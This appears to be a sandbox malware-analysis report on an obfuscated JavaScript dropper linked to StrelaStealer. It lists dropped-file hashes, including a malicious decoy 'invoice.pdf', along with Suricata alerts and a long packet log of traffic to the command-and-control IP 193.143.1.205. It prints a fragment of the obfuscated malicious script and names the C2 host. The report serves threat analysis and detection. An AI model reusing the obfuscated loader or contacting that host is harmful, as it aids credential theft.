SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\d7ba327d-0fcc-4f43-a212-89f3763e66ee.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/M7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZjZwYIGNPJe:RB3mlind9i4ufFXpAXkrfUs03WLaGZje
MD5:	716C2C392DCD15C95BBD760EEBABFCD0
SHA1:	4B4CE9C6AED6A7F809236B2DAFA9987CA886E603
SHA-256:	DD3E6CFC38DA1B30D5250B132388EF73536D00628267E7F9C7E21603388724D8
SHA-512:	E164702386F24FF72111A53DA48DC57866D10DAE50A21D4737B5687E149FF9D673729C5D2F2B8DA9EB76A2E5727A2AFCFA5DE6CC0EEEF7D6EBADE784385460AF
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (19040), with CRLF line terminators
Entropy (8bit):	4.8954714202211
TrID:
File name:	244188544238313090.js
File size:	22'614 bytes
MD5:	560b661ba13823a04e36dbc92fd3885d
SHA1:	3b1e8548f6194b315e68ffaaa654b0c95b347af4
SHA256:	a798d02fc606bfe52056dc7d02d30eb156ca74ff68b3d8af31ec7d09a39cf371
SHA512:	78fb30f6bb930dc8ca0155fe61970c6920944b289d357297e55c7ce1afd4df70733107c60feb85aafbfe0c69482c31bda1af60d3b495cdf7a92c90e84e850e11
SSDEEP:	384:81pjEhCa2AZrCvEQyBb15Td7923XzoIySPO80h2IFRoyTpzmyhRmOHfKdoxYEL7j:nCaRZevEQyBbfTd7+wSPO80h2IFRoyTL
TLSH:	01A2B981F702CF6E9EEC40B6040F04D1A1D8079D3CBA5DF1A4462A655B5CBFAD9E22BC
File Content Preview:	function fijxrijj(){ngnbtppcl=[1031,3079,5127,4103,2055,3072];var elabpl=this[eywkikljz+zxlhfchv+kcmcats+gulupvqdk+klqpf+dvdyh+kxemyfsuq+yufzazg](this[ospwls+tzfskfbb+sdzkegypa+kcmcats+ctztdd+eywkikljz+yufzazg][iakzf+kcmcats+klqpf+zxlhfchv+yufzazg+klqpf+a

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T07:38:49.500659+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T07:38:49.500659+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T07:38:52.250506+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 07:38:48.715944052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:48.720999956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:48.721941948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:48.725079060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:48.730060101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.500497103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.500549078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.500586033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.500619888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.500657082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.500658989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.500689030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.500722885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.500757933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.500758886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.500758886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.500792980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.500832081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.500839949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.501245975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.505692959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.543688059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.543709993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.543726921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.543834925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.621350050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.621387005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.621423006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.621474028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.621563911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.621625900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.626095057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.626131058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.626168966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.626193047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.626349926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.626439095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.630882025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.630918026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.630948067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.630971909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.630984068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.631149054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.631289959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.635644913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.635682106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.635735035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.635876894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.635915041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.635950089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.640486956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.640526056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.640552998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.640562057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.640630960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.640830040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.664757967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.664792061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.664829969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.664848089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.664884090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.669564009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.669615984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.669663906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.712464094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.712510109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.712626934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.742285013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.742321968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.742357969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.742391109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.742460966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.742551088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.742628098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.742789030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.742825985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.742850065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.742865086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.742901087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.742923975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.743580103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.743613958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.743644953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.743649006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.743697882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.743705988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.744385004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.744419098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.744436979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.744455099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.744489908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.744501114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.745268106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.745301962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.745321035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.745337963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.745372057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.745402098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.746042967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.746078968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.746092081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.746115923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.746150970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.746170044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.746886015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.746922016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.746927977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.746958017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.746994019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.747009039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.747693062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.747729063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.747740984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.747766018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.747802973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.747817993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.748492956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.748527050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.748543024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.748564005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.748610020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.753432035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.753467083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.753501892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.753524065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.785770893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.785806894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.785840034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.785872936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.785908937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.785943985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.785943985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.785944939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.785973072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.786029100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.786029100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.830864906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.830908060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.830940008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.830965042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.830976963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.831031084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.863193989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.863248110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.863301039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.863316059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.863354921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.863389969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.863404989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.863424063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.863459110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.863471985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.863493919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.863539934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.863588095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.863641977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.863693953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.863694906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.863728046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.863761902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.863775969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.864106894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.864141941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.864172935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.864181995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.864231110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.864470959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.864521980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.864557028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.864586115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.864592075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.864628077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.864645004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.864664078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.864700079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.864729881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.864738941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.864780903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.864788055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.865359068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.865410089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.865410089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.865447998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.865499020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.865526915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.865539074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.865572929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.865586996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.865609884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.865643024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.865683079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.865689039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.865748882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.866344929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.866396904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.866432905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.866463900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.866491079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.866527081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.866544962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.866561890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.866597891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.866604090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.866632938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.866668940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.866677999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.867441893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.867476940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.867491007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.867515087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.867549896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.867566109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.867584944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.867619991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.867636919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.867655993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.867719889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.874162912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.874216080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.874250889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.874274969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.874289036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.874337912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.874349117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.874383926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.874419928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.874450922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.874455929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.874491930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.874505997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.874531031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.874573946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.880012989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.919145107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.919225931 CET	80	49704	193.143.1.205	192.168.2.5
